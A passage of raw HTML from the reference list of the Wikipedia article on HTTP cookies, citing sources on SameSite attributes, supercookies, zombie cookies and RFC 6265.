href="https://web.archive.org/web/20160816182604/https://tools.ietf.org/html/draft-ietf-httpbis-cookie-same-site-00">Archived</a> from the original on 16 August 2016<span class="reference-accessdate">. Retrieved <span class="nowrap">28 July</span> 2016</span>.</cite><span title="ctx_ver=Z39.88-2004&rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Ajournal&rft.genre=article&rft.jtitle=Ietf+Datatracker&rft.atitle=Same-Site+Cookies+draft-ietf-httpbis-cookie-same-site-00&rft.date=2016-06-20&rft.aulast=Goodwin&rft.aufirst=M.&rft.au=West&rft_id=https%3A%2F%2Ftools.ietf.org%2Fhtml%2Fdraft-ietf-httpbis-cookie-same-site-00&rfr_id=info%3Asid%2Fen.wikipedia.org%3AHTTP+cookie" class="Z3988"></span></span> </li> <li id="cite_note-wi75q-29"><span class="mw-cite-backlink"><b><a href="#cite_ref-wi75q_29-0">^</a></b></span> <span class="reference-text"><link rel="mw-deduplicated-inline-style" href="mw-data:TemplateStyles:r1238218222"><cite class="citation web cs1"><a rel="nofollow" class="external text" href="https://www.netsparker.com/blog/web-security/same-site-cookie-attribute-prevent-cross-site-request-forgery/">"Using the Same-Site Cookie Attribute to Prevent CSRF Attacks"</a>. <i>www.netsparker.com</i>. 23 August 2016<span class="reference-accessdate">. Retrieved <span class="nowrap">5 April</span> 2021</span>.</cite><span title="ctx_ver=Z39.88-2004&rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Ajournal&rft.genre=unknown&rft.jtitle=www.netsparker.com&rft.atitle=Using+the+Same-Site+Cookie+Attribute+to+Prevent+CSRF+Attacks&rft.date=2016-08-23&rft_id=https%3A%2F%2Fwww.netsparker.com%2Fblog%2Fweb-security%2Fsame-site-cookie-attribute-prevent-cross-site-request-forgery%2F&rfr_id=info%3Asid%2Fen.wikipedia.org%3AHTTP+cookie" class="Z3988"></span></span> </li> <li id="cite_note-vQf6D-30"><span class="mw-cite-backlink"><b><a href="#cite_ref-vQf6D_30-0">^</a></b></span> <span class="reference-text"><link rel="mw-deduplicated-inline-style" href="mw-data:TemplateStyles:r1238218222"><cite class="citation web cs1"><a rel="nofollow" class="external text" href="https://github.com/httpwg/http-extensions/pull/1323">"Require "Secure" for "SameSite=None". by miketaylr · Pull Request #1323 · httpwg/http-extensions"</a>. <i>GitHub</i><span class="reference-accessdate">. Retrieved <span class="nowrap">5 April</span> 2021</span>.</cite><span title="ctx_ver=Z39.88-2004&rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Ajournal&rft.genre=unknown&rft.jtitle=GitHub&rft.atitle=Require+%22Secure%22+for+%22SameSite%3DNone%22.+by+miketaylr+%C2%B7+Pull+Request+%231323+%C2%B7+httpwg%2Fhttp-extensions&rft_id=https%3A%2F%2Fgithub.com%2Fhttpwg%2Fhttp-extensions%2Fpull%2F1323&rfr_id=info%3Asid%2Fen.wikipedia.org%3AHTTP+cookie" class="Z3988"></span></span> </li> <li id="cite_note-31"><span class="mw-cite-backlink"><b><a href="#cite_ref-31">^</a></b></span> <span class="reference-text"><link rel="mw-deduplicated-inline-style" href="mw-data:TemplateStyles:r1238218222"><cite id="CITEREFWestWilander2020" class="citation report cs1">West, Mike; Wilander, John (7 December 2020). <a rel="nofollow" class="external text" href="https://datatracker.ietf.org/doc/draft-ietf-httpbis-rfc6265bis/07/">Cookies: HTTP State Management Mechanism</a> (Report). Internet Engineering Task Force.</cite><span title="ctx_ver=Z39.88-2004&rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Abook&rft.genre=report&rft.btitle=Cookies%3A+HTTP+State+Management+Mechanism&rft.pub=Internet+Engineering+Task+Force&rft.date=2020-12-07&rft.aulast=West&rft.aufirst=Mike&rft.au=Wilander%2C+John&rft_id=https%3A%2F%2Fdatatracker.ietf.org%2Fdoc%2Fdraft-ietf-httpbis-rfc6265bis%2F07%2F&rfr_id=info%3Asid%2Fen.wikipedia.org%3AHTTP+cookie" class="Z3988"></span></span> </li> <li id="cite_note-sJzIz-32"><span class="mw-cite-backlink"><b><a href="#cite_ref-sJzIz_32-0">^</a></b></span> <span class="reference-text"><link rel="mw-deduplicated-inline-style" href="mw-data:TemplateStyles:r1238218222"><cite class="citation web cs1"><a rel="nofollow" class="external text" href="https://www.lambdatest.com/SameSite-cookie-attribute">"Browser Compatibility Testing of 'SameSite' cookie attribute"</a>.</cite><span title="ctx_ver=Z39.88-2004&rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Abook&rft.genre=unknown&rft.btitle=Browser+Compatibility+Testing+of+%27SameSite%27+cookie+attribute&rft_id=https%3A%2F%2Fwww.lambdatest.com%2FSameSite-cookie-attribute&rfr_id=info%3Asid%2Fen.wikipedia.org%3AHTTP+cookie" class="Z3988"></span></span> </li> <li id="cite_note-QPJhf-33"><span class="mw-cite-backlink"><b><a href="#cite_ref-QPJhf_33-0">^</a></b></span> <span class="reference-text"><link rel="mw-deduplicated-inline-style" href="mw-data:TemplateStyles:r1238218222"><cite class="citation web cs1"><a rel="nofollow" class="external text" href="https://blog.chromium.org/2020/02/samesite-cookie-changes-in-february.html">"SameSite Cookie Changes in February 2020: What You Need to Know"</a>. <i>Chromium Blog</i><span class="reference-accessdate">. Retrieved <span class="nowrap">5 April</span> 2021</span>.</cite><span title="ctx_ver=Z39.88-2004&rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Ajournal&rft.genre=unknown&rft.jtitle=Chromium+Blog&rft.atitle=SameSite+Cookie+Changes+in+February+2020%3A+What+You+Need+to+Know&rft_id=https%3A%2F%2Fblog.chromium.org%2F2020%2F02%2Fsamesite-cookie-changes-in-february.html&rfr_id=info%3Asid%2Fen.wikipedia.org%3AHTTP+cookie" class="Z3988"></span></span> </li> <li id="cite_note-Ne4hV-34"><span class="mw-cite-backlink"><b><a href="#cite_ref-Ne4hV_34-0">^</a></b></span> <span class="reference-text"><link rel="mw-deduplicated-inline-style" href="mw-data:TemplateStyles:r1238218222"><cite class="citation news cs1"><a rel="nofollow" class="external text" href="https://blog.chromium.org/2020/04/temporarily-rolling-back-samesite.html">"Temporarily rolling back SameSite Cookie Changes"</a>. <i>Chromium Blog</i><span class="reference-accessdate">. Retrieved <span class="nowrap">5 April</span> 2021</span>.</cite><span title="ctx_ver=Z39.88-2004&rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Ajournal&rft.genre=article&rft.jtitle=Chromium+Blog&rft.atitle=Temporarily+rolling+back+SameSite+Cookie+Changes&rft_id=https%3A%2F%2Fblog.chromium.org%2F2020%2F04%2Ftemporarily-rolling-back-samesite.html&rfr_id=info%3Asid%2Fen.wikipedia.org%3AHTTP+cookie" class="Z3988"></span></span> </li> <li id="cite_note-35"><span class="mw-cite-backlink"><b><a href="#cite_ref-35">^</a></b></span> <span class="reference-text"><link rel="mw-deduplicated-inline-style" href="mw-data:TemplateStyles:r1238218222"><cite id="CITEREFSchuh2020" class="citation web cs1">Schuh, Justin (28 May 2020). <a rel="nofollow" class="external text" href="https://blog.chromium.org/2020/05/resuming-samesite-cookie-changes-in-july.html">"Resuming SameSite Cookie Changes in July"</a>. <i>Chromium Blog</i><span class="reference-accessdate">. Retrieved <span class="nowrap">18 February</span> 2024</span>.</cite><span title="ctx_ver=Z39.88-2004&rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Ajournal&rft.genre=unknown&rft.jtitle=Chromium+Blog&rft.atitle=Resuming+SameSite+Cookie+Changes+in+July&rft.date=2020-05-28&rft.aulast=Schuh&rft.aufirst=Justin&rft_id=https%3A%2F%2Fblog.chromium.org%2F2020%2F05%2Fresuming-samesite-cookie-changes-in-july.html&rfr_id=info%3Asid%2Fen.wikipedia.org%3AHTTP+cookie" class="Z3988"></span></span> </li> <li id="cite_note-oN0iG-36"><span class="mw-cite-backlink"><b><a href="#cite_ref-oN0iG_36-0">^</a></b></span> <span class="reference-text"><link rel="mw-deduplicated-inline-style" href="mw-data:TemplateStyles:r1238218222"><cite class="citation web cs1"><a rel="nofollow" class="external text" href="https://publicsuffix.org/learn/">"Learn more about the Public Suffix List"</a>. <i>Publicsuffix.org</i>. <a rel="nofollow" class="external text" href="https://web.archive.org/web/20160514000450/https://publicsuffix.org/learn/">Archived</a> from the original on 14 May 2016<span class="reference-accessdate">. Retrieved <span class="nowrap">28 July</span> 2016</span>.</cite><span title="ctx_ver=Z39.88-2004&rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Ajournal&rft.genre=unknown&rft.jtitle=Publicsuffix.org&rft.atitle=Learn+more+about+the+Public+Suffix+List&rft_id=https%3A%2F%2Fpublicsuffix.org%2Flearn%2F&rfr_id=info%3Asid%2Fen.wikipedia.org%3AHTTP+cookie" class="Z3988"></span></span> </li> <li id="cite_note-Ivyb7-37"><span class="mw-cite-backlink"><b><a href="#cite_ref-Ivyb7_37-0">^</a></b></span> <span class="reference-text"><link rel="mw-deduplicated-inline-style" href="mw-data:TemplateStyles:r1238218222"><cite id="CITEREFMayer2011" class="citation web cs1">Mayer, Jonathan (19 August 2011). <a rel="nofollow" class="external text" href="http://cyberlaw.stanford.edu/node/6715">"Tracking the Trackers: Microsoft Advertising"</a>. The Center for Internet and Society. <a rel="nofollow" class="external text" href="https://web.archive.org/web/20110926122412/http://cyberlaw.stanford.edu/node/6715">Archived</a> from the original on 26 September 2011<span class="reference-accessdate">. Retrieved <span class="nowrap">28 September</span> 2011</span>.</cite><span title="ctx_ver=Z39.88-2004&rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Abook&rft.genre=unknown&rft.btitle=Tracking+the+Trackers%3A+Microsoft+Advertising&rft.pub=The+Center+for+Internet+and+Society&rft.date=2011-08-19&rft.aulast=Mayer&rft.aufirst=Jonathan&rft_id=http%3A%2F%2Fcyberlaw.stanford.edu%2Fnode%2F6715&rfr_id=info%3Asid%2Fen.wikipedia.org%3AHTTP+cookie" class="Z3988"></span></span> </li> <li id="cite_note-8LKGy-38"><span class="mw-cite-backlink"><b><a href="#cite_ref-8LKGy_38-0">^</a></b></span> <span class="reference-text"><link rel="mw-deduplicated-inline-style" href="mw-data:TemplateStyles:r1238218222"><cite id="CITEREFVijayan2011" class="citation web cs1">Vijayan, Jaikumar (19 August 2011). <a rel="nofollow" class="external text" href="https://web.archive.org/web/20141127185609/http://www.computerworld.com/article/2510494/data-privacy/microsoft-disables--supercookies--used-on-msn-com-visitors.html">"Microsoft disables 'supercookies' used on MSN.com visitors"</a>. <i>Computerworld</i>. Archived from <a rel="nofollow" class="external text" href="http://www.computerworld.com/article/2510494/data-privacy/microsoft-disables--supercookies--used-on-msn-com-visitors.html">the original</a> on 27 November 2014<span class="reference-accessdate">. Retrieved <span class="nowrap">23 November</span> 2014</span>.</cite><span title="ctx_ver=Z39.88-2004&rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Ajournal&rft.genre=unknown&rft.jtitle=Computerworld&rft.atitle=Microsoft+disables+%27supercookies%27+used+on+MSN.com+visitors&rft.date=2011-08-19&rft.aulast=Vijayan&rft.aufirst=Jaikumar&rft_id=http%3A%2F%2Fwww.computerworld.com%2Farticle%2F2510494%2Fdata-privacy%2Fmicrosoft-disables--supercookies--used-on-msn-com-visitors.html&rfr_id=info%3Asid%2Fen.wikipedia.org%3AHTTP+cookie" class="Z3988"></span></span> </li> <li id="cite_note-PyGKV-39"><span class="mw-cite-backlink"><b><a href="#cite_ref-PyGKV_39-0">^</a></b></span> <span class="reference-text"><link rel="mw-deduplicated-inline-style" href="mw-data:TemplateStyles:r1238218222"><cite id="CITEREFEnglehardtEdelstein2021" class="citation web cs1">Englehardt, Steven; Edelstein, Arthur (26 January 2021). <a rel="nofollow" class="external text" href="https://blog.mozilla.org/security/2021/01/26/supercookie-protections/">"Firefox 85 Cracks Down on Supercookies"</a>. <i>Mozilla Security Blog</i>. <a rel="nofollow" class="external text" href="https://web.archive.org/web/20240225171134/https://blog.mozilla.org/security/2021/01/26/supercookie-protections/">Archived</a> from the original on 25 February 2024.</cite><span title="ctx_ver=Z39.88-2004&rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Ajournal&rft.genre=unknown&rft.jtitle=Mozilla+Security+Blog&rft.atitle=Firefox+85+Cracks+Down+on+Supercookies&rft.date=2021-01-26&rft.aulast=Englehardt&rft.aufirst=Steven&rft.au=Edelstein%2C+Arthur&rft_id=https%3A%2F%2Fblog.mozilla.org%2Fsecurity%2F2021%2F01%2F26%2Fsupercookie-protections%2F&rfr_id=info%3Asid%2Fen.wikipedia.org%3AHTTP+cookie" class="Z3988"></span></span> </li> <li id="cite_note-MLbxD-40"><span class="mw-cite-backlink"><b><a href="#cite_ref-MLbxD_40-0">^</a></b></span> <span class="reference-text"><link rel="mw-deduplicated-inline-style" href="mw-data:TemplateStyles:r1238218222"><cite id="CITEREFAngwinTigas2015" class="citation web cs1"><a href="/wiki/Julia_Angwin" title="Julia Angwin">Angwin, Julia</a>; Tigas, Mike (14 January 2015). <a rel="nofollow" class="external text" href="https://www.propublica.org/article/zombie-cookie-the-tracking-cookie-that-you-cant-kill">"Zombie Cookie: The Tracking Cookie That You Can't Kill"</a>. <i>ProPublica</i><span class="reference-accessdate">. Retrieved <span class="nowrap">1 November</span> 2020</span>.</cite><span title="ctx_ver=Z39.88-2004&rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Ajournal&rft.genre=unknown&rft.jtitle=ProPublica&rft.atitle=Zombie+Cookie%3A+The+Tracking+Cookie+That+You+Can%27t+Kill&rft.date=2015-01-14&rft.aulast=Angwin&rft.aufirst=Julia&rft.au=Tigas%2C+Mike&rft_id=https%3A%2F%2Fwww.propublica.org%2Farticle%2Fzombie-cookie-the-tracking-cookie-that-you-cant-kill&rfr_id=info%3Asid%2Fen.wikipedia.org%3AHTTP+cookie" class="Z3988"></span></span> </li> <li id="cite_note-k81iO-41"><span class="mw-cite-backlink"><b><a href="#cite_ref-k81iO_41-0">^</a></b></span> <span class="reference-text"><link rel="mw-deduplicated-inline-style" href="mw-data:TemplateStyles:r1238218222"><cite id="CITEREFStolze2011" class="citation web cs1">Stolze, Conrad (11 June 2011). <a rel="nofollow" class="external text" href="https://24x7mag.com/professional-development/education/the-cookie-that-would-not-crumble/">"The Cookie That Would Not Crumble!"</a>. <i>24x7 Magazine</i><span class="reference-accessdate">. Retrieved <span class="nowrap">1 November</span> 2020</span>.</cite><span title="ctx_ver=Z39.88-2004&rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Ajournal&rft.genre=unknown&rft.jtitle=24x7+Magazine&rft.atitle=The+Cookie+That+Would+Not+Crumble%21&rft.date=2011-06-11&rft.aulast=Stolze&rft.aufirst=Conrad&rft_id=https%3A%2F%2F24x7mag.com%2Fprofessional-development%2Feducation%2Fthe-cookie-that-would-not-crumble%2F&rfr_id=info%3Asid%2Fen.wikipedia.org%3AHTTP+cookie" class="Z3988"></span></span> </li> <li id="cite_note-Peng,_Weihong_2000-42"><span class="mw-cite-backlink"><b><a href="#cite_ref-Peng,_Weihong_2000_42-0">^</a></b></span> <span class="reference-text"><link rel="mw-deduplicated-inline-style" href="mw-data:TemplateStyles:r1238218222"><cite id="CITEREFPengCisna2000" class="citation journal cs1">Peng, Weihong; Cisna, Jennifer (2000). "HTTP Cookies, A Promising Technology". <i>ProQuest</i>. Online Information Review. <link rel="mw-deduplicated-inline-style" href="mw-data:TemplateStyles:r1238218222"><a href="/wiki/ProQuest" title="ProQuest">ProQuest</a> <a rel="nofollow" class="external text" href="https://search.proquest.com/docview/194487945">194487945</a>.</cite><span title="ctx_ver=Z39.88-2004&rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Ajournal&rft.genre=article&rft.jtitle=ProQuest&rft.atitle=HTTP+Cookies%2C+A+Promising+Technology&rft.date=2000&rft.aulast=Peng&rft.aufirst=Weihong&rft.au=Cisna%2C+Jennifer&rfr_id=info%3Asid%2Fen.wikipedia.org%3AHTTP+cookie" class="Z3988"></span></span> </li> <li id="cite_note-Stenberg,_Daniel_2009-43"><span class="mw-cite-backlink"><b><a href="#cite_ref-Stenberg,_Daniel_2009_43-0">^</a></b></span> <span class="reference-text">Jim Manico quoting Daniel Stenberg, <a rel="nofollow" class="external text" href="http://manicode.blogspot.it/2009/08/real-world-cookie-length-limits.html">Real world cookie length limits</a> <a rel="nofollow" class="external text" href="https://web.archive.org/web/20130702114435/http://manicode.blogspot.it/2009/08/real-world-cookie-length-limits.html">Archived</a> 2013-07-02 at the <a href="/wiki/Wayback_Machine" title="Wayback Machine">Wayback Machine</a></span> </li> <li id="cite_note-44"><span class="mw-cite-backlink"><b><a href="#cite_ref-44">^</a></b></span> <span class="reference-text"><link rel="mw-deduplicated-inline-style" href="mw-data:TemplateStyles:r1238218222"><cite id="CITEREFLeeChenChangChen2019" class="citation journal cs1">Lee, Wei-Bin; Chen, Hsing-Bai; Chang, Shun-Shyan; Chen, Tzung-Her (25 January 2019). <a rel="nofollow" class="external text" href="https://onlinelibrary.wiley.com/doi/10.1002/dac.3857">"Secure and efficient protection for HTTP cookies with self-verification"</a>. <i>International Journal of Communication Systems</i>. <b>32</b> (2): e3857. <a href="/wiki/Doi_(identifier)" class="mw-redirect" title="Doi (identifier)">doi</a>:<a rel="nofollow" class="external text" href="https://doi.org/10.1002%2Fdac.3857">10.1002/dac.3857</a>. <a href="/wiki/S2CID_(identifier)" class="mw-redirect" title="S2CID (identifier)">S2CID</a> <a rel="nofollow" class="external text" href="https://api.semanticscholar.org/CorpusID:59524143">59524143</a>.</cite><span title="ctx_ver=Z39.88-2004&rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Ajournal&rft.genre=article&rft.jtitle=International+Journal+of+Communication+Systems&rft.atitle=Secure+and+efficient+protection+for+HTTP+cookies+with+self-verification&rft.volume=32&rft.issue=2&rft.pages=e3857&rft.date=2019-01-25&rft_id=info%3Adoi%2F10.1002%2Fdac.3857&rft_id=https%3A%2F%2Fapi.semanticscholar.org%2FCorpusID%3A59524143%23id-name%3DS2CID&rft.aulast=Lee&rft.aufirst=Wei-Bin&rft.au=Chen%2C+Hsing-Bai&rft.au=Chang%2C+Shun-Shyan&rft.au=Chen%2C+Tzung-Her&rft_id=https%3A%2F%2Fonlinelibrary.wiley.com%2Fdoi%2F10.1002%2Fdac.3857&rfr_id=info%3Asid%2Fen.wikipedia.org%3AHTTP+cookie" class="Z3988"></span></span> </li> <li id="cite_note-tpktn-45"><span class="mw-cite-backlink"><b><a href="#cite_ref-tpktn_45-0">^</a></b></span> <span class="reference-text">Rainie, Lee (2012). Networked: The New Social Operating System. p. 237</span> </li> <li id="cite_note-httponlyrfc-46"><span class="mw-cite-backlink">^ <a href="#cite_ref-httponlyrfc_46-0"><sup><i><b>a</b></i></sup></a> <a href="#cite_ref-httponlyrfc_46-1"><sup><i><b>b</b></i></sup></a></span> <span class="reference-text"><link rel="mw-deduplicated-inline-style" href="mw-data:TemplateStyles:r1238218222"><cite class="citation cs1"><a rel="nofollow" class="external text" href="https://datatracker.ietf.org/doc/html/rfc6265"><i>HTTP State Management Mechanism</i></a>. <a href="/wiki/Doi_(identifier)" class="mw-redirect" title="Doi (identifier)">doi</a>:<span class="id-lock-free" title="Freely accessible"><a rel="nofollow" class="external text" href="https://doi.org/10.17487%2FRFC6265">10.17487/RFC6265</a></span>. <a href="/wiki/Request_for_Comments" title="Request for Comments">RFC</a> <a rel="nofollow" class="external text" href="https://datatracker.ietf.org/doc/html/rfc6265">6265</a>.</cite><span title="ctx_ver=Z39.88-2004&rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Abook&rft.genre=book&rft.btitle=HTTP+State+Management+Mechanism&rft_id=info%3Adoi%2F10.17487%2FRFC6265&rft_id=https%3A%2F%2Fdatatracker.ietf.org%2Fdoc%2Fhtml%2Frfc6265&rfr_id=info%3Asid%2Fen.wikipedia.org%3AHTTP+cookie" class="Z3988"></span></span> </li> <li id="cite_note-NWRaX-47"><span class="mw-cite-backlink"><b><a href="#cite_ref-NWRaX_47-0">^</a></b></span> <span class="reference-text"><link rel="mw-deduplicated-inline-style" href="mw-data:TemplateStyles:r1238218222"><cite class="citation web cs1"><a rel="nofollow" class="external text" href="https://web.archive.org/web/20070805052634/http://wp.netscape.com/newsref/std/cookie_spec.html">"Persistent client state HTTP cookies: Preliminary specification"</a>. Netscape. c. 1999. Archived from <a rel="nofollow" class="external text" href="http://wp.netscape.com/newsref/std/cookie_spec.html">the original</a> on 5 August 2007.</cite><span title="ctx_ver=Z39.88-2004&rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Abook&rft.genre=unknown&rft.btitle=Persistent+client+state+HTTP+cookies%3A+Preliminary+specification&rft.pub=Netscape&rft_id=http%3A%2F%2Fwp.netscape.com%2Fnewsref%2Fstd%2Fcookie_spec.html&rfr_id=info%3Asid%2Fen.wikipedia.org%3AHTTP+cookie" class="Z3988"></span></span> </li> <li id="cite_note-CrumbExample-48"><span class="mw-cite-backlink"><b><a href="#cite_ref-CrumbExample_48-0">^</a></b></span> <span class="reference-text"><link rel="mw-deduplicated-inline-style" href="mw-data:TemplateStyles:r1238218222"><cite class="citation web cs1"><a rel="nofollow" class="external text" href="http://msdn2.microsoft.com/en-us/library/ms533693.aspx">"Cookie Property"</a>. <i>MSDN</i>. Microsoft. <a rel="nofollow" class="external text" href="https://web.archive.org/web/20080405180445/http://msdn2.microsoft.com/en-us/library/ms533693.aspx">Archived</a> from the original on 5 April 2008<span class="reference-accessdate">. Retrieved <span class="nowrap">4 January</span> 2009</span>.</cite><span title="ctx_ver=Z39.88-2004&rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Ajournal&rft.genre=unknown&rft.jtitle=MSDN&rft.atitle=Cookie+Property&rft_id=http%3A%2F%2Fmsdn2.microsoft.com%2Fen-us%2Flibrary%2Fms533693.aspx&rfr_id=info%3Asid%2Fen.wikipedia.org%3AHTTP+cookie" class="Z3988"></span></span> </li> <li id="cite_note-Q2GAk-49"><span class="mw-cite-backlink"><b><a href="#cite_ref-Q2GAk_49-0">^</a></b></span> <span class="reference-text"><link rel="mw-deduplicated-inline-style" href="mw-data:TemplateStyles:r1238218222"><cite id="CITEREFShannon2007" class="citation news cs1">Shannon, Ross (26 February 2007). <a rel="nofollow" class="external text" href="http://www.yourhtmlsource.com/javascript/cookies.html">"Cookies, Set and retrieve information about your readers"</a>. HTMLSource. <a rel="nofollow" class="external text" href="https://web.archive.org/web/20110824225515/http://www.yourhtmlsource.com/javascript/cookies.html">Archived</a> from the original on 24 August 2011<span class="reference-accessdate">. Retrieved <span class="nowrap">4 January</span> 2009</span>.</cite><span title="ctx_ver=Z39.88-2004&rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Ajournal&rft.genre=article&rft.atitle=Cookies%2C+Set+and+retrieve+information+about+your+readers&rft.date=2007-02-26&rft.aulast=Shannon&rft.aufirst=Ross&rft_id=http%3A%2F%2Fwww.yourhtmlsource.com%2Fjavascript%2Fcookies.html&rfr_id=info%3Asid%2Fen.wikipedia.org%3AHTTP+cookie" class="Z3988"></span></span> </li> <li id="cite_note-uMnRY-50"><span class="mw-cite-backlink"><b><a href="#cite_ref-uMnRY_50-0">^</a></b></span> <span class="reference-text"><link rel="mw-deduplicated-inline-style" href="mw-data:TemplateStyles:r1238218222"><cite id="CITEREFBarth" class="citation cs1">Barth, A. <a rel="nofollow" class="external text" href="https://datatracker.ietf.org/doc/html/rfc6265#section-4.1.2.4"><i>HTTP State Management Mechanism, The Path Attribute</i></a>. sec. 4.1.2.4. <a href="/wiki/Doi_(identifier)" class="mw-redirect" title="Doi (identifier)">doi</a>:<span class="id-lock-free" title="Freely accessible"><a rel="nofollow" class="external text" href="https://doi.org/10.17487%2FRFC6265">10.17487/RFC6265</a></span>. <a href="/wiki/Request_for_Comments" title="Request for Comments">RFC</a> <a rel="nofollow" class="external text" href="https://datatracker.ietf.org/doc/html/rfc6265">6265</a>.</cite><span title="ctx_ver=Z39.88-2004&rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Abook&rft.genre=book&rft.btitle=HTTP+State+Management+Mechanism%2C+The+Path+Attribute&rft.pages=sec.-4.1.2.4&rft_id=info%3Adoi%2F10.17487%2FRFC6265&rft.aulast=Barth&rft.aufirst=A.&rft_id=https%3A%2F%2Fdatatracker.ietf.org%2Fdoc%2Fhtml%2Frfc6265%26%23035%3Bsection-4.1.2.4&rfr_id=info%3Asid%2Fen.wikipedia.org%3AHTTP+cookie" class="Z3988"></span></span> </li> <li id="cite_note-iDIGa-51"><span class="mw-cite-backlink"><b><a href="#cite_ref-iDIGa_51-0">^</a></b></span> <span class="reference-text"><link rel="mw-deduplicated-inline-style" href="mw-data:TemplateStyles:r1238218222"><cite id="CITEREFBarth2014" class="citation cs1">Barth, A. (March 2014). <a rel="nofollow" class="external text" href="https://datatracker.ietf.org/doc/html/rfc6265#section-5.1.3"><i>RFC 6265, HTTP State Management Mechanism, Domain matching</i></a>. sec. 5.1.3. <a href="/wiki/Doi_(identifier)" class="mw-redirect" title="Doi (identifier)">doi</a>:<span class="id-lock-free" title="Freely accessible"><a rel="nofollow" class="external text" href="https://doi.org/10.17487%2FRFC6265">10.17487/RFC6265</a></span>. <a href="/wiki/Request_for_Comments" title="Request for Comments">RFC</a> <a rel="nofollow" class="external text" href="https://datatracker.ietf.org/doc/html/rfc6265">6265</a>.</cite><span title="ctx_ver=Z39.88-2004&rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Abook&rft.genre=book&rft.btitle=RFC+6265%2C+HTTP+State+Management+Mechanism%2C+Domain+matching&rft.pages=sec.-5.1.3&rft.date=2014-03&rft_id=info%3Adoi%2F10.17487%2FRFC6265&rft.aulast=Barth&rft.aufirst=A.&rft_id=https%3A%2F%2Fdatatracker.ietf.org%2Fdoc%2Fhtml%2Frfc6265%26%23035%3Bsection-5.1.3&rfr_id=info%3Asid%2Fen.wikipedia.org%3AHTTP+cookie" class="Z3988"></span></span> </li> <li id="cite_note-5Qixt-52"><span class="mw-cite-backlink"><b><a href="#cite_ref-5Qixt_52-0">^</a></b></span> <span class="reference-text"><link rel="mw-deduplicated-inline-style" href="mw-data:TemplateStyles:r1238218222"><cite id="CITEREFBarth2014" class="citation cs1">Barth, A. (March 2014). <a rel="nofollow" class="external text" href="https://datatracker.ietf.org/doc/html/rfc6265#section-4.1.2.3"><i>RFC 6265, HTTP State Management Mechanism, The Domain Attribute</i></a>. sec. 4.1.2.3. <a href="/wiki/Doi_(identifier)" class="mw-redirect" title="Doi (identifier)">doi</a>:<span class="id-lock-free" title="Freely accessible"><a rel="nofollow" class="external text" href="https://doi.org/10.17487%2FRFC6265">10.17487/RFC6265</a></span>. <a href="/wiki/Request_for_Comments" title="Request for Comments">RFC</a> <a rel="nofollow" class="external text" href="https://datatracker.ietf.org/doc/html/rfc6265">6265</a>.</cite><span title="ctx_ver=Z39.88-2004&rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Abook&rft.genre=book&rft.btitle=RFC+6265%2C+HTTP+State+Management+Mechanism%2C+The+Domain+Attribute&rft.pages=sec.-4.1.2.3&rft.date=2014-03&rft_id=info%3Adoi%2F10.17487%2FRFC6265&rft.aulast=Barth&rft.aufirst=A.&rft_id=https%3A%2F%2Fdatatracker.ietf.org%2Fdoc%2Fhtml%2Frfc6265%26%23035%3Bsection-4.1.2.3&rfr_id=info%3Asid%2Fen.wikipedia.org%3AHTTP+cookie" class="Z3988"></span></span> </li> <li id="cite_note-Ry6VV-53"><span class="mw-cite-backlink"><b><a href="#cite_ref-Ry6VV_53-0">^</a></b></span> <span class="reference-text"><link rel="mw-deduplicated-inline-style" href="mw-data:TemplateStyles:r1238218222"><cite class="citation web cs1"><a rel="nofollow" class="external text" href="https://blogs.msdn.microsoft.com/b/ieinternals/archive/2009/08/20/wininet-ie-cookie-internals-faq.aspx">"Internet Explorer Cookie Internals (FAQ)"</a>. 21 November 2018.</cite><span title="ctx_ver=Z39.88-2004&rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Abook&rft.genre=unknown&rft.btitle=Internet+Explorer+Cookie+Internals+%28FAQ%29&rft.date=2018-11-21&rft_id=https%3A%2F%2Fblogs.msdn.microsoft.com%2Fb%2Fieinternals%2Farchive%2F2009%2F08%2F20%2Fwininet-ie-cookie-internals-faq.aspx&rfr_id=info%3Asid%2Fen.wikipedia.org%3AHTTP+cookie" class="Z3988"></span></span> </li> <li id="cite_note-gxcF2-54"><span class="mw-cite-backlink"><b><a href="#cite_ref-gxcF2_54-0">^</a></b></span> <span class="reference-text"><link rel="mw-deduplicated-inline-style" href="mw-data:TemplateStyles:r1238218222"><cite id="CITEREFKristolMontulli2014" class="citation cs1">Kristol, D.; Montulli, L. (March 2014). <a rel="nofollow" class="external text" href="https://datatracker.ietf.org/doc/html/rfc2109#section-4.2.2"><i>RFC 2109, HTTP State Management Mechanism, Set-Cookie syntax</i></a>. sec. 4.2.2. <a href="/wiki/Doi_(identifier)" class="mw-redirect" title="Doi (identifier)">doi</a>:<span class="id-lock-free" title="Freely accessible"><a rel="nofollow" class="external text" href="https://doi.org/10.17487%2FRFC2109">10.17487/RFC2109</a></span>. <a href="/wiki/S2CID_(identifier)" class="mw-redirect" title="S2CID (identifier)">S2CID</a> <a rel="nofollow" class="external text" href="https://api.semanticscholar.org/CorpusID:6914676">6914676</a>. <a href="/wiki/Request_for_Comments" title="Request for Comments">RFC</a> <a rel="nofollow" class="external text" 